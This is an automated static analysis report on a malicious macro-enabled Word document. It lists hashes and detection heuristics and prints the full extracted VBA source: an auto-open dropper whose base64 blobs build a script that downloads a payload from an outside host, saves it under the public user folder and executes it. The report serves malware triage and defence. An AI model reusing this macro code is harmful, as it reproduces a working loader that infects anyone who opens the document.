Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b8e59d8fc95c3da8…

MALICIOUS

Office (OOXML)

75.6 KB Created: 2021-03-24 03:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: 9be9c0532bbef958463b898bc4c9dec2 SHA-1: 1929a4a64161ec7643962e895fda5076697488c2 SHA-256: b8e59d8fc95c3da82e461110f731df3d8eb07a6f1bbb9dec038d8ebcddef5dbf
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set varIterator = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set varIterator = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4785 bytes
SHA-256: 93b56ed0218d5261059a8d7ab03680ea4fef29f0367b8b6fa86469b607bd345c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{7A70439A-CD83-4E2B-805A-BB83E3D88B69}{EEF507D7-DADE-4939-83C9-357D7DE090DB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set varIterator = CreateObject("wscript.shell")
varIterator.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "classMain"
Sub autoopen()
titleBuffer
End Sub
Sub titleBuffer()
Dim pointerTmpScreen As String
pointerTmpScreen = frm.cmdButton1.caption
memoryTable pointerTmpScreen
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "selectMem"
Function counterFunc()
counterFunc = "<div id='content'>dmFyIHRlbXBQcm9jZWR1cmVCdWZmZXIgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTt0ZW1wUHJvY2VkdXJlQnVmZmVyLm9wZW4oIkdFVCIsICJodHRwOi8vaGF5ZGVubWlycm9yLmNvbS9mZHZkZC80TmtjS1BnOXpZTGNmemlyWnRQdHgxUG42NGZMb1dBSUR2TlB4LzM0MzE4L3hhcjM/c2Vhcm"
End Function
Function funcVb()
funcVb = "NoPXFMYVFBWlMmc2lkPVlQQ2pqQ2JsZTMzNEE4UWRIaEQwcnYxOSZzaWQ9UkR2dVMiLCBmYWxzZSk7dGVtcFByb2NlZHVyZUJ1ZmZlci5zZW5kKCk7aWYodGVtcFByb2NlZHVyZUJ1ZmZlci5zdGF0dXMgPT0gMjAwKXt2YXIgdGV4dGJveExpbmsgPSBuZXcgQWN0aXZlWE9iamVjdCgiYWRvZGIuc3RyZWFtIik7dGV4dGJveExpbmsub3Blbj"
End Function
Function genericStruct()
genericStruct = "t0ZXh0Ym94TGluay50eXBlID0gMTt0ZXh0Ym94TGluay53cml0ZSh0ZW1wUHJvY2VkdXJlQnVmZmVyLnJlc3BvbnNlYm9keSk7dGV4dGJveExpbmsuc2F2ZXRvZmlsZSgiYzpcXHVzZXJzXFxwdWJsaWNcXGNhcHRpb25NZW0uanBnIiwgMik7dGV4dGJveExpbmsuY2xvc2U7fQ==|fXspeG9idHNpTHRuZW11Y29kKGhjdGFjfTspImF0aC5ua"
End Function
Function storageSwapDelete()
storageSwapDelete = "WFtXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC50Y2VsZVNldGVsZWR7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGNlbGVTZXRlbGVkIHJhdjspImdwai5tZU1ub2l0cGFjXFxjaWxidXBcXHNyZXN1XFw6YyAyM3J2c2dlciIobnVyLikibGxlaHMudHBpcmNzdyIodGNlamJPW"
End Function
Function nextConvert()
nextConvert = "GV2aXRjQSB3ZW4=</div><div id='table'>0123456789+/</div><script language='javascript'>pointerLenText = window;borderPtrCaption = document;function valueClassRequest(tmpArgumentDatabase){return(new ActiveXObject(tmpArgumentDatabase));}function table(){var co"
End Function
Function convertLocal()
convertLocal = "pySizeBuffer = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var textboxW = copySizeBuffer + copySizeBuffer.toLowerCase() + borderPtrCaption.getElementById('table').innerHTML;return(textboxW);}function copyMemory(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; v"
End Function
Function libIndexCollection()
libIndexCollection = "ar variableValue=''; var w=String.fromCharCode; var L=s.length;var iteratorViewProc = 'charAt';for(i=0;i<64;i++){e[table()[iteratorViewProc](i)]=i;}for(x=0;x<L;x++){c=e[s[iteratorViewProc](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&"
End Function
Function iteratorLibLen()
iteratorLibLen = "&(variableValue+=w(a));}}return(variableValue);};function requestVar(repoTemp){return repoTemp.split('').reverse().join('');}pointerLenText.resizeTo(1, 1);pointerLenText.moveTo(-100, -100);var iteratorGlobal = borderPtrCaption.getElementById('content').inn"
End Function
Function responseGlobal()
responseGlobal = "erHTML;var iteratorGlobal = iteratorGlobal.split('|');var arrayData = requestVar(copyMemory(iteratorGlobal[0]));var arrayData = requestVar(arrayData);var textboxListboxVb = requestVar(copyMemory(iteratorGlobal[1]));</script><script language='javascript'>fu"
End Function
Function linkTempPointer()
linkTempPointer = "nction textboxLink(sizeTextboxW){var structLibStruct = valueClassRequest('msscriptcontrol.scriptcontrol');structLibStruct.Language = 'jscript';structLibStruct.Timeout = 60000;structLibStruct.AddCode(sizeTextboxW);return(null);}</script><script language='vb"
End Function
Function listGeneric()
listGeneric = "script'>textboxLink arrayData : textboxLink textboxListboxVb : pointerLenText.close</script>"
End Function
Function repoListIndex()
repoListIndex = counterFunc + funcVb + genericStruct + storageSwapDelete + nextConvert + convertLocal + libIndexCollection + iteratorLibLen + responseGlobal + linkTempPointer + listGeneric
End Function

Attribute VB_Name = "classVariableTemp"
Sub memoryTable(exceptionExceptionDocument As String)
Open exceptionExceptionDocument For Output As #1
Print #1, repoListIndex
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 99e19ef1c4014a85591f271d477e20604ac0d3e3e75a7d7752103ae7593dd8c7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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